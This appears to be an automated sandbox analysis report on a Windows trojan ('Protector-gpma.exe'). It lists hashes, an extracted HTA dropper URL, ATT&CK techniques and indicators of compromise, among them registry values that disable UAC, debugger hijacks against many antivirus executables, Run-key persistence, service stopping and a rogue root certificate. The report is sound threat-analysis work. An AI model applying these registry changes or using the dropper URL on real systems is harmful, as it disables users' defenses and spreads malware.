70935d0e07cdaf318ab5631d0788ed1d8186d65b531b5789f15b561fcfea64f2

Analysis

max time kernel
150s
max time network
147s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
19/08/2024, 19:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

70935d0e07cdaf318ab5631d0788ed1d8186d65b531b5789f15b561fcfea64f2.exe
Size

2.1MB
MD5

ac2bf4a9c78fa484d14d45ebb20bb63d
SHA1

0f2164ff2bfd617e2d37e847541a1ed7aacafe94
SHA256

70935d0e07cdaf318ab5631d0788ed1d8186d65b531b5789f15b561fcfea64f2
SHA512

6a8191e115e8b99424cdaa0ade7b148c14782dfbea981692a106e6b66ae1dae474bae37571b542ae5992d263851f292f7731f3449750c6bbd2bde260671323bd
SSDEEP

49152:DIqjmpWdn49S5w+z4BYAiaxs6v5fZ3RyGw0cobvZxC7yciIB:DBmpWdn4ww+z4mu5fNAGw0ZVEyciIB

Score

10^/10

defense_evasion discovery evasion execution persistence trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://galaint.online-secure-pay.info/?0=112&1=3&2=1&3=31&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=sqberkoqsi&14=1

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-gpma.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Protector-gpma.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Protector-gpma.exe

Disables taskbar notifications via registry modification
evasion

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\History.exe	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\portmonitor.exe	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rb32.exe	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cfgwiz.exe	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\crashrep.exe	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iedriver.exe	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nav.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wyvernworksfirewall.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xpf202en.exe	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\agentsvr.exe	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bspatch.exe	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mfin32.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\prmt.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ldnetmon.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ldscan.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cleanIELow.exe	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmesys.exe	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dvp95_0.exe	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\expert.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fih32.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rulaunch.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avmailc.exe	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avpupd.exe	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanpm.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ldscan.exe	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onsrvr.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pcfwallicon.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\showbehind.exe	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spywarexpguard.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsbgate.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ethereal.exe	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kavpf.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install[5].exe\Debugger = "svchost.exe"	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winstart001.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\atcon.exe	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsav530stbyb.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wininitx.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\periscope.exe	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\_avpm.exe	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avmcdlg.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kavlite40eng.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QuickHealCleaner.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vscan40.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmgrdian.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ppvstop.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bundle.exe	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kavlite40eng.exe	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pc.exe	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avwupd32.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\belt.exe	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgiproxy.exe	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ent.exe	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\etrustcipe.exe	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashAvast.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashBug.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AVWEBGRD.EXE\Debugger = "svchost.exe"	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\d.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\npf40_tw_98_nt_me_2k.exe	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utpost.exe	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lucomserver.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avltmain.exe\Debugger = "svchost.exe"	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\exantivirus-cnet.exe	Protector-gpma.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tvtmd.exe	Protector-gpma.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
2856	4vvp77et9k06cow.exe
2284	cn86j85204q2lk6.exe
3016	Protector-gpma.exe

Loads dropped DLL 7 IoCs

pid	Process
1924	70935d0e07cdaf318ab5631d0788ed1d8186d65b531b5789f15b561fcfea64f2.exe
2856	4vvp77et9k06cow.exe
2856	4vvp77et9k06cow.exe
2284	cn86j85204q2lk6.exe
2284	cn86j85204q2lk6.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Windows\CurrentVersion\Run\Inspector = "C:\\Users\\Admin\\AppData\\Roaming\\Protector-gpma.exe"	Protector-gpma.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-gpma.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\diskmgmt.msc	Protector-gpma.exe
File opened for modification	C:\Windows\SysWOW64\services.msc	Protector-gpma.exe
File opened for modification	C:\Windows\SysWOW64\eventvwr.msc	Protector-gpma.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1908	sc.exe
1176	sc.exe
376	sc.exe
236	sc.exe
1336	sc.exe
680	sc.exe
1956	sc.exe
844	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	70935d0e07cdaf318ab5631d0788ed1d8186d65b531b5789f15b561fcfea64f2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4vvp77et9k06cow.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Protector-gpma.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cn86j85204q2lk6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe

Modifies Internet Explorer settings 1 TTPs 37 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312\iexplore.exe = "1"	Protector-gpma.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312	Protector-gpma.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000002aec918cb9fa9248b7812ac80df2e74c0000000002000000000010660000000100002000000071ad18d9e070b0a9e055d5a3c174daf8ac2194ef378fc11ddee578e6a1c77f54000000000e8000000002000020000000209576e4e3f0601323637b11834a3cffa98879f03da3328d27f83b85719263c720000000f80e54c8a70ed23378542074147f5fbaa83c4bca85126653539b7311e7801b0e400000005b0e6dd933ef52b76d890b43914d723defe933f3c3c8e25cc97107bb846fe981ae04aa7ef896de1e940a0ebc75b388bab2bb30601b3f1741454bb4662fd9a5c9	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = e0a84a1f6bf2da01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000002aec918cb9fa9248b7812ac80df2e74c00000000020000000000106600000001000020000000b6c34b8b88be3838947565fd32c543f73126b9ece77f1a9a84c660005198c131000000000e8000000002000020000000a1ef743975eba1d1514efa2b3f7e53600ba10ce8aa0db502ead5349a29d4b32390000000c364706b61a63d00b0aa47b988acbd2bc7c0d56dfced5c8661052019ecaad477c97c09e050a0480181a644175242b5086df82764a6cfdca1f07ff8111be4fc275a32778e9823618f9fd5c8d321769df88d774baf85f84c9f12aac6551a5ae5d59e1212190efd5d02f34486ca6b2267f444853f0b9f5374bdc3d8f20dd02cb5aa7dc185d4c720bb24f330621d3157c22a40000000b53ca2b05b6b0e158f48efca4de0d8ef5cbbc303583eb19a47c8246603a1859741342542587e4ec568501fde4641879650ba8976b901a84443c2a67649ed4bb7	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\Main	Protector-gpma.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{4AC75181-5E5E-11EF-A24E-4E15D54E5731} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "430256322"	iexplore.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	Protector-gpma.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	Protector-gpma.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2284	cn86j85204q2lk6.exe
Token: SeShutdownPrivilege	2284	cn86j85204q2lk6.exe
Token: SeDebugPrivilege	3016	Protector-gpma.exe
Token: SeShutdownPrivilege	3016	Protector-gpma.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
